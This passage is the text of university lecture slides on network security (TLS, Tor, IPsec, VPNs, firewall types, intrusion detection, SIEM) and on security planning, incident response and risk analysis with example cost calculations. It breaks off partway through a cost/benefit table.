TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384	Elliptic curve cryptosystem digital signature algorithm, Aria encryption with a 256-bit key, SHA-384 hash function

SSL Session

- Often referred to as HTTPS.
- To use SSL:

The client requests an SSL session. → The server responds with its public key certificate. → The client can now determine the authenticity of the server. → The client returns a symmetric session key encrypted under the server's public key. → Both the server and client compute the session key, and then they switch to encrypted communication, using the shared session key.

After an SSL session has been established, the details of the session can be viewed.

SSL Session

- The chain of certificates and signers is important because of the potential for **unscrupulous CAs.**
- **Why** should one review their set of loaded certificates?
    - The preloaded CAs are reputable, but if one CA signs a certificate for a less honorable firm, the SSL operation would still succeed.
    - SSL requires a certificate chain from a CA in the browser's list, but all such CAs are equally credible to the browser.
    - That is why you should review your set of loaded certificates to ensure that you would trust anything signed by any of them.
- SSL encryption protects only from the browser to the destination decryption point. Vulnerabilities before encryption or after decryption are unaffected.

Onion Routing

- **Tor**—onion routing—prevents an eavesdropper from learning source, destination, or content of data in transit in a network.
- Packages for onion routing can be any network transmissions.
- Most popular uses: covert email and private web browsing.
- Tor protects by transferring communications around a distributed network of relays run by volunteers all around the world.
- The model uses a collection of forwarding hosts, each of whom knows only from **where a communication was received and to where to send it next**.

Onion Routing

IP Security Protocol Suite (IPsec)

- IPsec was adopted as a part of the IPv6 suite.
- IPsec protocol defines a standard means for handling encrypted data.
- Designed to address fundamental shortcomings such as being subject to spoofing, eavesdropping, and session hijacking.
- IPsec requires **no change** to the existing large number of TCP and UDP protocols or applications. Why so?
- Implemented at the IP layer 3. So it protects data produced in all layers above it.
- IPsec is somewhat similar to SSL. How?
- IPsec implements encryption and authentication in the Internet protocols.

IPsec Security Association

- The basis of IPsec is a **security association**.
- It is essentially the set of security parameters for a secured communication channel.
- A security association includes:
    - Encryption algorithm and mode .
    - Encryption key.
    - Encryption parameters.
    - Authentication protocol and key
    - Life span of the association.
    - Address of the opposite end of association.
    - Sensitivity level of protected data (usable for classified data).

IPsec Headers and Data

- The fundamental data structures of IPsec are the authentication header (AH) and the encapsulated security payload (ESP).
- The ESP replaces (includes) the conventional TCP header and data portion of a packet.

IPsec Headers and Data

- The ESP contains both an authenticated portion and an encrypted portion.
- IPsec encapsulated security payload contains descriptors to tell a recipient how to interpret encrypted content.

IPsec Key Management

- The critical element is key management.
- Addressed by Internet Security Association Key Management Protocol, or **ISAKMP**.
- ISAKMP requires that a distinct key be generated for each security association.
- ISAKMP is implemented through the ISAKMP key exchange, or **IKE**.
- IKE provides a way to agree on and manage protocols, algorithms, and keys.
- The exchange can be accomplished in two messages, with an optional two more messages for authentication.

IPsec Modes of Operation

- IPsec can enforce either or both of confidentiality and authenticity.
- Two modes of operation :
  - Transport Mode
  - Tunnel Mode

Transport mode (normal operation) : the IP address header is unencrypted.

Tunnel mode : the recipient's address is concealed by encryption, and IPsec substitutes the address of a remote device, such as a firewall, that will receive the transmission and remove the IPsec encryption.

Virtual Private Networks (VPNs)

- Link encryption can give a network's users the sense that they are on a private network, even when it is part of a public network.
- If applied at the link level, the encrypting and decrypting are invisible to users.
- A **virtual private network** simulates the security of a dedicated, protected communication line on a shared network.
- Two approaches for private network:
    - By acquiring, managing, and maintaining their own network equipment to provide a private link between the two sites.
    - By implementing VPN.

VPN

- **Firewalls** can implement a VPN.
- When a user first establishes a communication with the firewall, the user can request a VPN session with the firewall.
- The firewall may pass user authentication data to the authentication server.
- Upon confirmation of the authenticated identity, the firewall provides the user with appropriate security privileges.
- The user’s client and the firewall negotiate a session encryption key.
- The firewall and the client subsequently use that key to encrypt all traffic between the two.

VPN

To other sites
A1
A2
A3
A4
Office A
Firewall A
B1
B2
B3
B4
Office B
Firewall B
Encrypted

VPN : WFH

Firewalls

A firewall is a computer traffic cop that permits or blocks data flow between two parts of a network architecture. It is the only link between parts.

- A firewall is a device that filters all traffic between a protected or “inside” network and a less trustworthy or “outside” network.
- Usually a firewall runs on a dedicated device. Why?
  - Because it is a single point through which traffic is channeled, performance is important, which means that only firewall functions should run on the firewall machine.
- In practice, a firewall is a full-fledged computer.
- A firewall system typically does not have compilers, linkers, loaders, general text editors, debuggers, programming libraries, or other tools. Why?

Firewall

- Policy. Firewalls enforce predetermined rules governing what traffic can flow.
- Default Permit
    - “That which is not expressly forbidden is permitted”
- Default Deny
    - “That which is not expressly permitted is forbidden”
- Users, always interested in new features, prefer the former.
- Security experts strongly counsel the latter.

Firewall Design

- Two qualities lead to the effectiveness: a well-understood traffic flow policy and a trustworthy design and implementation.
- Policy
- Trust

Firewall Design: Policy

- A firewall implements a **security policy**.
- It is a set of rules that determine what traffic can or cannot pass through the firewall.
- Firewalls come with example policies, but each network administrator needs to determine what traffic to allow into a particular network.

Rule	Type	Source Address	Destination Address	Destination Port	Action
1	TCP	*	192.168.1.*	25	Permit
2	UDP	*	192.168.1.*	69	Permit
3	TCP	192.168.1.*	*	80	Permit
4	TCP	*	192.168.1.18	80	Permit
5	TCP	*	192.168.1.*	*	Deny
6	UDP	*	192.168.1.*	*	Deny

Firewall Design: Trust

- A firewall is an example of the reference monitor.
- A reference monitor has three characteristics:
  - Always invoked
  - Tamperproof
  - Small and simple enough for rigorous analysis
- A firewall is positioned as the single physical connection between a protected (internal) network and an uncontrolled (external) one.
- A firewall is typically well isolated, making it highly immune to modification.
- Firewall designers strongly recommend keeping the functionality of the firewall simple.

Types of Firewalls

- Packet Filtering Gateways or Screening Routers
- Stateful Inspection Firewalls
- Application-level Gateways, also known as Proxies
- Circuit-level Gateways
- Guards
- Personal Firewalls

Packet Filtering Gateway

- **Packet filters—screening routers**—limit traffic based on packet header data: addresses and ports on packets (control information).
- A firewall can screen traffic before it gets to the protected network.
- Packet filters operate at OSI level 3.
- Packet filters do not “see inside” a packet; any details in the packet’s data field is beyond the capability of a packet filter.

Packet Filtering Gateway

- Packet filters can perform the important service of ensuring the validity of inside addresses.
- A packet filter sits between the inside network and the outside net, so it can determine if a packet from the outside is forging an inside address. How?
- Primary disadvantage: a combination of simplicity and complexity.
- The router's inspection is simplistic; a detailed rules set will be complex and therefore prone to error.

Stateful Inspection Firewalls

- Stateful inspection firewalls judge according to information from multiple packets.
- Maintains state information from one packet to another in the input stream.
- Port Scanning example. By itself, a probe against port 1 is meaningless, but it could also signal the start of a port scan attack.
- Attackers: break an attack into multiple packets by forcing some packets to have very short lengths.
- A stateful inspection firewall would track the sequence of packets and conditions from one packet to another to thwart such an attack.

Application Proxy

- Packet filters look only at the headers of packets, not at the data inside the packets. Implications?
- An application proxy (**bastion host**) simulates the behavior of a protected application on the inside network, allowing in only safe data.
- Simulates the (proper) effects of an application at level 7 so that the application receives only requests to act properly.
- A proxy gateway is a two-headed device.
- An application proxy runs pseudo-applications. Example?
- Mail application. The proxy in the middle has the opportunity to screen the mail transfer, ensuring that only acceptable email protocol commands and content are sent in either direction.

Application Proxy Examples

Requirement	Solution
Shopping Website wanting to display only price list.	Monitor the FTP data to ensure that only the price list file was accessed (only read)
Keeping a tab on student page visits for effective caching.	Logging procedure as part of the web browser
Govt. agency responding to DB queries with screening.	Special-purpose proxy performing queries but filtering the output.
A company with multiple offices wants to encrypt the data portion of all email	A firewall application could encrypt and decrypt specific email messages.

Application Proxy Examples

Application Proxy

- Can be tailored to specific requirements, such as logging details about accesses.
- Can present a common user interface to what may be dissimilar internal functions. Example?
    - Suppose the internal network has a mixture of operating system types, none of which support strong authentication.
    - The proxy can demand strong authentication and validate it.
    - Then it pass on only simple name and password authentication details in the form required by a specific internal host's operating system.
- Distinction between a proxy and a screening router?
- The proxy interprets the protocol stream as an application would, to control actions through the firewall on the basis of things visible within the protocol, not just on external header data.

Circuit-Level Gateway

- A **circuit-level** gateway connects two separate subnetworks as if they were one contiguous unit.
- Essentially allows one network to be an extension of another.
- Operates at OSI level 5, the session level.
- Functions as a virtual gateway between two networks.
- The firewall verifies the circuit when it is first created.
- Subsequent data transferred over the circuit are not checked.
- Circuit-level gateways can limit which connections can be made through the gateway.
- One use for a circuit-level gateway is to implement a virtual private network

Circuit-Level Gateway Example

Guards

- Sophisticated firewall.
- Like a proxy firewall, it receives PDUs, interprets them, and emits the same or different PDUs that achieve either the same result or a modified result.
- The degree of control a guard can provide is limited only by what is computable.
- Guards and proxy firewalls are similar enough that the distinction between them is sometimes fuzzy.
- A guard can implement any programmable set of conditions, even if the program conditions become highly sophisticated.

Guards Example

- Restricting users of an organization to a limit in emails sent.
- Managing connection capability to web by allowing text mode and simple graphics but disallowing complex graphics, video, music, or the like.
- Show partials of copyrighted document.
- Replace certain terms with other terms to maintain privacy of a company. This example shows that a firewall or guard can just as easily screen outbound traffic.
- A company scanning all FTP downloaded data through virus scanners.

Personal Firewalls

- A personal firewall is a program that runs on a single host to monitor and control traffic to that host.
- It can only work in conjunction with support from the operating system.
- Commercial implementations of personal firewalls include SaaS Endpoint Protection from McAfee, F-Secure Internet Security, Microsoft Windows Firewall, and Zone Alarm from CheckPoint.
- The personal firewall is configured to enforce some policy.
- With the combination of a virus scanner and a personal firewall, the firewall directs all incoming email to the virus scanner, which examines every attachment the moment it reaches the target host and before it is opened.
- Holes in the firewalls.

Comparison of Firewall Types

Packet Filter	Stateful Inspection	Application Proxy	Circuit Gateway	Guard	Personal Firewall
Simplest decision-making rules, packet by packet	Correlates data across packets	Simulates effect of an application program	Joins two subnetworks	Implements any conditions that can be programmed	Similar to packet filter, but getting more complex
Sees only addresses and service protocol type	Can see addresses and data	Sees and analyzes full data portion of pack	Sees addresses and data	Sees and analyzes full content of data	Can see full data portion
Auditing limited because of speed limitations	Auditing possible	Auditing likely	Auditing likely	Auditing likely	Auditing likely
Screens based on connection rules	Screens based on information across multiple packets—in either headers or data	Screens based on behavior of application	Screens based on address	Screens based on interpretation of content	Typically, screens based on content of each packet individually, based on address or content
Complex addressing rules can make configuration tricky	Usually preconfigured to detect certain attack signatures	Simple proxies can substitute for complex decision rules, but proxies must be aware of application's behavior	Relatively simple addressing rules; make configuration straightforward	Complex guard functionality; can be difficult to define and program accurately	Usually starts in mode to deny all inbound traffic; adds addresses and functions to trust as they arise

Firewall Example

- Screening Router

Firewall Example

- Firewall on Separate LAN

Firewall Example

- Application Proxy

Firewall Example

- Demilitarized Zone

Intrusion Detection and Prevention Systems

- Why do we need Intrusion Detection System (IDS)?
  - Most of the controls (firewalls, authentication and access controls) are preventive: They block known bad things from happening.
  - Most computer security incidents are caused by insiders or people impersonating them.
  - The vast majority of harm from insiders is not malicious. There are the potential malicious outsiders who have somehow passed the screens of firewalls and access controls.
  - Prevention, although necessary, is not a complete computer security control; **detection** during an incident copes with harm that cannot be prevented in advance.
  - IDSs complement these preventive controls as the next line of defense.

Intrusion Detection and Prevention Systems

- An IDS is a device that monitors activity to identify malicious or suspicious events.
- An IDS is a sensor that raises an alarm if specific things occur.
- IDSs have a response function. Alert a human team that will then decide what further action is warranted.
- If an IDS goes into protection mode to isolate a suspected intruder and constrain access, it is called an Intrusion Protection System (IPS).

Intrusion Detection System: Model

An IDS receives raw inputs from sensors.

It saves those inputs, analyzes them, and takes some controlling action.

IDS: Functions

No one IDS performs all of these functions.

- Monitoring users and system activity.
- Auditing system configuration for vulnerabilities and misconfigurations.
- Assessing the integrity of critical system and data files.
- Recognizing known attack patterns in system activity.
- Identifying abnormal activity through statistical analysis.
- Managing audit trails and highlighting user violation of policy or normal activity.
- Correcting system configuration errors.
- Installing and operating traps to record information about intruders.

Types of IDSs

Signature-based IDSs look for patterns; heuristic ones learn characteristics of unacceptable behavior over time.

- Two general types of intrusion detection systems are:
- **Signature based IDS.**
  - Perform simple pattern-matching and report situations that match a pattern (signature) corresponding to a known attack type.
- **Heuristic IDS. (Anomaly based IDS)**
  - Build a model of acceptable behavior and flag exceptions to that model.
  - The administrator can mark a flagged behavior as acceptable – IDS will now treat it as acceptable rather than unclassified.
  - Heuristic IDS can learn what constitute anomalies or improper behavior.
  - The **inference engine** (AI component) identifies pieces of attacks and rates the degree to which these pieces are associated with malicious behavior.

Signature-Based Intrusion Detection

- Tend to use statistical analysis.
- Uses tools: To obtain sample measurements of key indicators.

  To determine whether the collected measurements fit the predetermined attack signatures.
- Signatures should match every instance of an attack, match subtle variations of the attack, but not match traffic that is not part of an attack.
- Signature-based IDSs are limited to known patterns. Cannot detect a new attack for which no signature has yet been installed in the database.
- Example of patterns: Port Scan, Large ICMP packet size.

Signature-Based Intrusion Detection

What an attacker might do?

- Modify a basic attack in such a way that it will not match the known signature of that attack.
- Convert lowercase to uppercase letters.
- Convert “blank space” to its character code equivalent %20.
- Cause a pattern mismatch: insert spurious packets that the IDS will see, or shuffle the order of reconnaissance probes.
- Each of these variations could be detected by an IDS, but more signatures require additional work for the IDS, thereby reducing performance.

Signature-Based Intrusion Detection

- Where it works easily?
  - Certain types of DoS attacks, like ping and echo-chargen attacks.
- Where it is rather difficult?
  - Teardrop attack.
  - SYN flooding.
- Why?
  - Packet fragmentation is a characteristic of most traffic. Similarly, SYN–ACK is part of the three-way TCP handshake.
  - The IDS would need to maintain data on virtually all traffic to identify Teardrop attack.
  - A SYN flood is recognized only by a profusion of unmatched SYN–ACK responses.

Heuristic Intrusion Detection

- The inference engine of an IDS continuously analyzes the system, raising an alert when the system's dirtiness exceeds a threshold or when a combination of factors signals likely malicious behavior.
- Example.
- Inference engines work in two ways. State-based and Model-based (**misuse intrusion detection**).
- State-based: See the system going through changes of overall state or configuration. They try to detect when the system has veered into unsafe modes.
- Model-based: Current activity matches the model to a certain degree. Accessing a password file apart from the normal reasons.
- To a heuristic intrusion detection system, all activity is classified in one of three categories: **good/benign, suspicious, or unknown**. Over time, specific kinds of actions can move from one of these categories to another

Types of IDSs

- Intrusion detection devices can be **network based(NIDS)** or **host based (HIDS)**.
- A network-based IDS is a stand-alone device attached to the network to monitor traffic throughout that network.
- The **goal** of a NIDS is to protect the entire network or some set of specific sensitive resources, such as a collection of servers holding critical data.
- A host-based IDS runs on a single workstation or client or host, to protect that one host.
- The **goal** of a host-based system is to protect one machine and its data.

HIDS

- Protects a single host against attack. Collects and analyzes data for that one host.
- OS supplies some of that data to the IDS.
- The device either analyzes data itself or forwards the data to a separate machine for analysis and perhaps correlation with HIDSs on other hosts.
- Being a process on the target computer also exposes the HIDS to the vulnerability of being detected.

NIDS

- Separate network appliance that monitors traffic on an entire network.
- It receives data from firewalls, operating systems of the connected computers, other sensors such as traffic volume monitors and load balancers, and administrator actions on the network.
- The detection software can also monitor the content of packets communicated across the network, to detect unusual actions by one host against another.
- Which IDS is better able to protect itself against detection or compromise? Why?
- Network IDS can operate in so-called stealth mode, observing but never sending data onto the network.
- NIDS can send alarms on a separate network from the one being monitored. That way an attacker will not know the attack has been recognized.

Intrusion Prevention System (IPS)

- Detecting the attack gets easier as the attack unfolds.
- Premise of IDS: being able to detect bad things before they cause too much harm.
- An IPS tries to block or stop harm.
- It is an IDS with a built-in response capability.
- The response is not just raising an alarm; the automatic responses include cutting off a user's access, rejecting all traffic from address a.b.c.d, or blocking all users' access to a particular file or program.

Intrusion Response

- Intrusion detection is probabilistic.
- In taking action, especially if a tool causes the action automatically, a network administrator has to weigh the consequences of action against the possibility that there is no attack.
- Responding to alarms.

Responding to Alarms

- What are possible responses?
- Responses fall into **three** major categories:
- Monitor, collect data, perhaps increase amount of data collected.
    - Appropriate for an attack of modest (initial) impact. Watch the intruder's actions. Record all traffic from a given source for future analysis (should be invisible to the attacker).
- Protect, act to reduce exposure.
    - Increase access controls, make a resource unavailable, possibly sever the network connection the attacker is using. Protecting may be very visible to the attacker.
- Signal an alert to other protection components.
- Call a human.

Goals for Intrusion Detection Systems

- An IDS should be fast, simple, and accurate, while at the same time being complete.
- It should detect all attacks with negligible performance penalty. <Accurate Situation Assessment>
- An IDS could use some—or all—of the following design approaches:
    - Filter on packet headers. Filter on packet content.
    - Maintain connection state.
    - Use complex, multipacket signatures.
    - Use minimal number of signatures with maximum effect.
    - Filter in real time, online.
    - Hide its presence. <Stealth Mode>
    - Use optimal sliding-time window size to match signatures.

Goals for Intrusion Detection Systems

- Wouldn’t the attacker try to disable the IDS?
- Most IDSs run in **stealth mode** - an IDS has **two** network interfaces:
- For the network it is monitoring.
    - Input only- it never sends packets out through that interface.
    - No published address through the monitored interface; that is, no router can route anything directly to that address.
- To generate alerts and perhaps perform other administrative needs.

Stealth mode IDS prevents the attacker from knowing an alarm has been raised.

Goals for IDS: Stealth Mode

Goals for IDS

Accurate Situation Assessment

- Too many false positives.
    - The administrator will be less confident of the IDS's warnings, perhaps leading to a real alarm's being ignored.
- False negatives.
    - Real attacks are passing the IDS without action.
- Most IDS implementations allow the administrator to tune the system's sensitivity in order to strike an acceptable balance between false positives and negatives.

Network Management

- Management to Ensure Service
- Security Information and Event Management (SIEM)

Network Management

- Management to Ensure Service
  - Capacity Planning
  - Load Balancing
  - Network Tuning
  - Shunning
  - Blacklisting and Sinkholing

A load balancer is an appliance that redirects traffic to different servers while working to ensure that all servers have roughly equivalent workloads.
Network load balancing directs incoming traffic to resources with available capacity.

Network administrators can set edge routers to drop packets engaging in a DoS attack.
Essentially filters out all traffic from implicated addresses.

Blacklist the target address: no traffic goes to that address, from legitimate or malicious sources alike.
Sinkholing: redirect traffic to a valid address where the incoming traffic can be analyzed.

- Shunning and sinkholing are extreme network countermeasures blocking all traffic from or to a specific address.

Network Management: SIEM

- Security Operations Center (SOC): A team of security personnel dedicated to monitoring a network for security incidents and investigating and remediating those incidents.
- Need for SIEM?
    - Manually logging in to every device to check status and look for alerts makes it difficult to identify even simple attack patterns.
    - SIEMs are software systems that collect security-relevant data from a variety of hardware and software products in order to create a unified security dashboard for SOC personnel.

SIEM Dashboard

SIEM Challenges

- **Cost**.
- **Data portability**. Knowledge stored in the SIEM, such as saved searches or data visualizations, tends to be SIEM specific and you will likely need to rebuild such knowledge bases when you switch products.
- **Log-source compatibility**. Some SIEMs can read data logs as it is, some may require a bit of configuration, and some would require agents.
- **Deployment complexity**. Deployment will likely require a variety of configuration changes, some of which will be unpredictable side effects of the intricacies of your environment.
- **Customization**. How much of the functionality is either built-in or easy to acquire, and how much will need to be developed (customized).

SIEM Challenges

- **Data storage**. Log files listing IDS alerts are relatively sparse, while full packet capture can result in gigabytes of new data per second.
- **Segregation and access control**. SIEMs generally have robust segregation and role-based access control capabilities that allow administrators to limit users' access to data and functionality, but mitigating insider risks posed by security personnel is a perpetual challenge.
- **Full-time maintenance**. SIEMs are inherently complex, so deploying, maintaining, and customizing them are expert skills in themselves.
- **User training**. SOC analysts are generally trained in incident detection, investigation, and response, but they may not know how to use the particular tools deployed in a organization.

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 6.

Management, Incident, Ethics

ICT 3156

Security Planning

- Electronic form of data gives a false sense of requiring no security.
- Example.
- Every organization using computers to create and store valuable assets should perform thorough and effective security planning. Why?
    - Every application has confidentiality, integrity, and availability requirements that relate to the data, programs, and computing machinery.
    - Users often do not appreciate the security risks associated with using computers.
- **Security plan:** A document that describes how an organization will address its security needs and priorities.
- The plan is subject to periodic review and revision as the organization's security needs change.

Organizations and Security Plans

- Good security plan:
    - An official record of **current security practices.**
    - A **blueprint for orderly change** to improve those practices.
- A carefully written plan, supported by management, notifies employees that security is important to management (and therefore to everyone).
- Thus, the security plan has to have appropriate content and has to produce desired effects.
- 3 aspects of writing a security plan:
    - What it should contain.
    - Who writes it.
    - How to obtain support for it.

Contents of a Security Plan

Policy	The goals of a computer security effort and the willingness of the people involved to work to achieve those goals.
Current State	The status of security at the time of the plan.
Requirements	Recommending ways to meet the security goals.
Recommended Controls	Mapping controls to the vulnerabilities identified.
Accountability	Documenting who is responsible for each security activity.
Timetable	Identifying when different security functions are to be done.
Maintenance	Specifying a structure for periodically updating the security plan.

Policy

- A **security policy** is a high-level statement of purpose and intent.
- The policy statement must answer three essential questions:
    - Who should be allowed access?
    - To what system and organizational resources should access be allowed?
    - What types of access should each user be allowed for each resource?
- The policy statement should specify the following:
    - The organization's goals on security.
    - Where the responsibility for security lies.
    - The organization's commitment to security.

Current Status Assessment

- To be able to plan for security, an organization must understand the vulnerabilities to which it may be exposed: perform a **risk analysis**.
- The risk analysis forms the basis for describing the current status of security.
- Status portion of the plan also defines the limits of responsibility for security.
- It describes not only **which assets** are to be protected but also **who** is responsible for protecting them.
- Vulnerabilities can also result from new situations. The security plan should detail the process to be followed when someone identifies a new vulnerability.

Security Requirements

- Requirements: functional or performance **demands** (organizational and external) placed on a system to ensure a desired level of security.
- The requirements are usually derived from organizational needs.
- Requirements v/s **constraints** and controls.
- A constraint is an aspect of the security policy that constrains, circumscribes, or directs the implementation of the requirements.
- Requirements explain **what** should be accomplished, not how. Always leave the implementation details to the designers, whenever possible.

Security Requirements

- Different aspects of system analysis support the security planning process.
- Inputs to the Security Plan
- The requirements should address all aspects of security: CIA.

Security Requirements

- Requirements must have these characteristics:
  - Correctness
  - Consistency
  - Completeness
  - Realism
  - Need
  - Verifiability
  - Traceability

- The requirements may then be constrained by budget, schedule, performance, policies, governmental regulations, and more.
- Given the requirements and constraints, developers then choose appropriate controls.

Recommended Controls

- The security plan must also recommend what controls should be incorporated into the system to meet those requirements.
- The recommended controls address implementation issues: how the system will be designed and developed to meet stated security requirements.

Accountability: Responsibility for Implementation

- A security plan documents who is responsible for implementing security. No one responsible implies no action.
- The plan makes explicit who is accountable should some requirement not be met or some vulnerability not be addressed.
- Some examples could be:
    - Users
    - Project leaders Managers
    - Database administrators
    - Information officers
    - Personnel staff members

Timetable

- Security plan includes timetables. Purpose:
    - Shows how and when the elements of the plan will be performed.
    - Management can track the progress of implementation.
- Specify the order in which the controls are to be implemented so that the most serious exposures are covered as soon as possible.
- The plan must be extensible. Why?
    - Conditions will change: New **equipment** will be acquired, new degrees and **modes** of connectivity will be requested, and new **threats** will be identified.
- Security aspects of changes should be considered **as a part of** preparing for the change, not for adding security **after the change** has been made.
- The plan should also contain a schedule for **periodic** review.

Maintenance

- Why maintenance?
    - As users, data, and equipment change, new exposures may develop.
    - The current means of control may become obsolete or ineffective.
- We must also find ways for evaluating a system's security to be sure that the system is as secure as we intend it to be.
- Thus, the security plan must call for reviewing the security situation periodically.

Handling Incidents

- What would you do when a file suddenly disappears? Or an unusual name appears on the list of active processes?
- Individuals must take responsibility for their own environments. What about bigger organizations?
- Organizations develop a **capability** to handle incidents from receiving the first report and investigating it.

Incident Response Plans

- An incident response plan details how to address security incidents of all types.
- An incident could be a single event, a series of events, or an ongoing problem.
- An incident response plan should
    - define what constitutes an incident.
    - identify who is responsible for taking charge of the situation.
    - describe the plan of action.
- The plan usually has **three phases**: advance planning, triage, and running the incident.
- Fourth phase: review. Useful after the situation abates so that this incident can lead to improvement for future incidents.

Advance Planning

- What to do when an incident happens? Example: Fire in a building.
- An **incident response plan** tells whom to contact in the event of an incident, which may be just an unconfirmed, unusual situation.
- With an incident response plan in place, everybody is trained in **advance**.

Responding

- The response team is the set of people charged with responding to the incident.
- The response team may include:
  - Director: person in charge of the incident.
  - Technician(s): people who perform the technical part of the response. Role of lead technician?
  - Advisor(s): legal, human resources, or public relations staff members as appropriate.
- Incident responders first perform **triage**: They investigate what has happened.
- Incident responders follow the case until they have identified the cause and **done as much as possible to return the system to normal.**
- Then the team finishes documenting its work and declares the incident over.

After the Incident Is Resolved

- The team will hold a **review** after the incident to consider two things:
- Is any security control action to be taken?
- Did the incident response plan work?
- The incident response plan ensures that incidents are handled promptly, efficiently, and with minimal harm.

Risk Analysis

- A **risk** is a potential problem that the system or its users may experience.
- **Risk analysis** is an organized process for **identifying** the most significant **risks** in a computing environment, **determining** the **impact** of those risks, and **weighing** the **desirability** of applying various controls against those risks.
- It is a management activity which is at **the heart of security planning**.

Risk Exposure: Quantifies the effects of a risk.
Risk Exposure = Risk Impact* Risk Probability.

Risk Characteristics

Risk Impact

Risk Probability

Risk Control

Risk Analysis

- Three strategies for dealing with risk:

Avoid	• By changing requirements for security or other system characteristics.
Transfer	• By allocating the risk to other systems, people, organizations, or assets; or by buying insurance.
Assume	• By accepting it, controlling it with available resources and preparing to deal with the loss.

Risk Analysis

- Costs are associated not only with the risk's potential impact but also with reducing it.
- **Risk leverage** is the amount of benefit per unit spent.
- It is the difference in risk exposure divided by the cost of reducing the risk.

$$\frac{(Risk\ Exposure\ before\ reduction) - (Risk\ Exposure\ after\ reduction)}{(Cost\ of\ risk\ reduction)}$$

- The leverage measures value for money spent: A risk reduction of $100 for a cost of $10, a 10:1 reduction, is quite a favorable result.

Risk Analysis

- Risk analysis is the process of examining a system and its operational context to determine possible exposures and the potential harm they can cause.
- Summary:
    - Identify and list all exposures in the computing system of interest.
    - For each exposure, identify possible controls and their costs.
    - Cost–benefit analysis: Does it cost less to implement a control or to accept the expected cost of the loss?

Steps of a Risk Analysis

Steps of a Risk Analysis

Identify assets

- Before we can identify vulnerabilities, we must first decide what we need to protect.
  - Hardware
  - Software
  - Data
  - People
  - Documentation
  - Supplies
  - Reputation
  - Availability
- No two organizations will have the same assets to protect. Something that is valuable in one organization may not be as valuable to another.
- Not all business assets are tangible, and not all are easy to value.

Steps of a Risk Analysis

Determine vulnerabilities

- This step requires imagination; we want to predict what damage might occur to the assets and from what sources.
- Develop a clear idea of the nature of vulnerabilities. This nature derives from the need to ensure the three basic goals of computer security: CIA.
- One vulnerability can affect more than one asset or cause more than one type of loss.
- There is no simple checklist or easy procedure to list all vulnerabilities.
- To organize the way we consider threats and assets, we can use a matrix.

Assets and Attacks

Asset	Secrecy	Integrity	Availability
Hardware		overloaded destroyed tampered with	failed stolen destroyed unavailable
Software	stolen copied pirated	impaired by Trojan horse modified tampered with	deleted misplaced usage expired
Data	disclosed accessed by outsider inferred	damaged – software error – hardware error – user error	deleted misplaced destroyed
People			quit retired terminated on vacation
Documentation			lost stolen destroyed
Supplies			lost stolen damaged

Steps of a Risk Analysis

Estimate likelihood of exploitation

- Determine how often each exposure is likely to be exploited.
- **Likelihood** of occurrence relates to the **stringency** of the existing controls and the likelihood that someone or **something will evade** the existing controls.
- In some cases, the number of occurrences of events can be estimated in a given time period. Depends on the fact that a system is already built and has been in use for some period of time.
- In many cases usage data are not available. In this case, we may ask an analyst to estimate likelihood by reviewing a table based on a similar system.

Estimate likelihood of exploitation

- **Quantitative risk analysis**: numbers can be assigned to various risks.
- **Qualitative risk analysis**: descriptive adjectives are used to rate risks (“highly likely”, “improbable”, and so on)
- Qualitative assessment is more appropriate in situations where it is difficult to quantify risk.
- Often, qualitative risks are then assigned a numeric value.
- Estimates of value and event likelihood are just estimates; their purpose is to locate points of most serious vulnerability.

Frequency	Rating
More than once a day	10
Once a day	9
Once every three days	8
Once a week	7
Once in two weeks	6
Once a month	5
Once every four months	4
Once a year	3
Once every three years	2
Less than once in three years	1

Comparing Quantitative to Qualitative Risk Assessment

	Pros	Cons
Quantitative	• Assessment and results based on independently objective processes and metrics. Meaningful statistical analysis is supported • Value of information assets and expected loss expressed in monetary terms. Supporting rationale easily understood • Provides credible basis for cost/benefit assessment of risk mitigation. Supports information security budget decision-making	• Calculations are complex. Management may mistrust the results of calculations and hence analysis • Must gather substantial information about the target IT environment • No standard independently developed and maintained threat population and frequency knowledge base. Users must rely on the credibility of the in-house or external threat likelihood assessment
Qualitative	• Simple calculations, readily understood and executed • Not necessary to quantify threat frequency and impact data • Not necessary to estimate cost of recommended risk mitigation measures and calculate cost/benefit • A general indication of significant areas of risk that should be addressed is provided	• Results are subjective. Use of independently objective metrics is eschewed • No effort to develop an objective monetary basis for the value of targeted information assets • Provides no measurable basis for cost/benefit analysis of risk mitigation. Difficult to compare risk to control cost • Not possible to track risk management performance objectively when all measures are subjective

Steps of a Risk Analysis

Compute expected annual loss

- This value is difficult to determine .
- Some costs are easy to obtain. Some costs are substantially harder to measure: costs in restoring a system to its previous state, reinstalling software, or deriving a piece of information.
- Hidden costs must also be accounted.
- Estimates of expected loss are necessarily imprecise; relative sizes are more important than absolute values.
- The vulnerabilities in computer security are often considerably higher than managers expect.
- Realistic estimates of potential harm can raise concern and suggest places in which attention to security is especially needed.

Steps of a Risk Analysis

Survey applicable controls and their costs

- Each vulnerability must be matched with at least one appropriate security technique.
- Expected loss estimates can be used to help decide which controls, alone or in concert, are the most cost effective for a given situation.
- Things to consider while choosing controls:
    - Controls can overlap. Example.
    - One control may cover multiple vulnerabilities.
    - Controls have positive and negative effects.
    - Controls are not perfect. They can fail.
    - Some controls are stronger than others. Some are more usable.

Survey applicable controls and their costs

- We know: Risk analysis involves building a multidimensional array: assets, vulnerabilities, likelihoods, controls.
- Mapping controls to vulnerabilities may involve using graph theory to select a minimal set of controls that address all vulnerabilities.
- What is the advantage of careful, systematic documentation of all these data?
- Each choice can be analyzed, and the side effects of changes are apparent.
- With a manageable number of assets and vulnerabilities, determining controls (some of which may already be in place) need not be extensive, as long as some control covers each major vulnerability.

Steps of a Risk Analysis

Project annual savings of control

- Determine whether the costs outweigh the benefits of preventing or mitigating the risks.
- Effective cost of a given control = Actual cost of the control - Any expected loss from using the control.
- True cost of a control may be:
    - positive if the control is expensive to administer or introduces new risk in another area of the system.
    - negative if the reduction in risk is greater than the cost of the control.

Project Costs and Savings

Item	Amount
Risks: disclosure of company confidential data, computation based on incorrect data	
Cost to reconstruct correct data: $1,000,000 @ 10% likelihood per year	$100,000
Effectiveness of access control software: 60%	−60,000
Cost of access control software	+25,000
Expected annual costs due to loss and controls (100,000 − 60,000 + 25,000)	$65,000
Savings (100,000 − 65,000)	$35,000

Justification of Access Control Software

Project Costs and Savings

Cost/Benefit Analysis for Replacing Network Access

Item	Amount
Risk: unauthorized access and use	
Access to unauthorized data and programs $100,000 @ 2% likelihood per year	$2,000
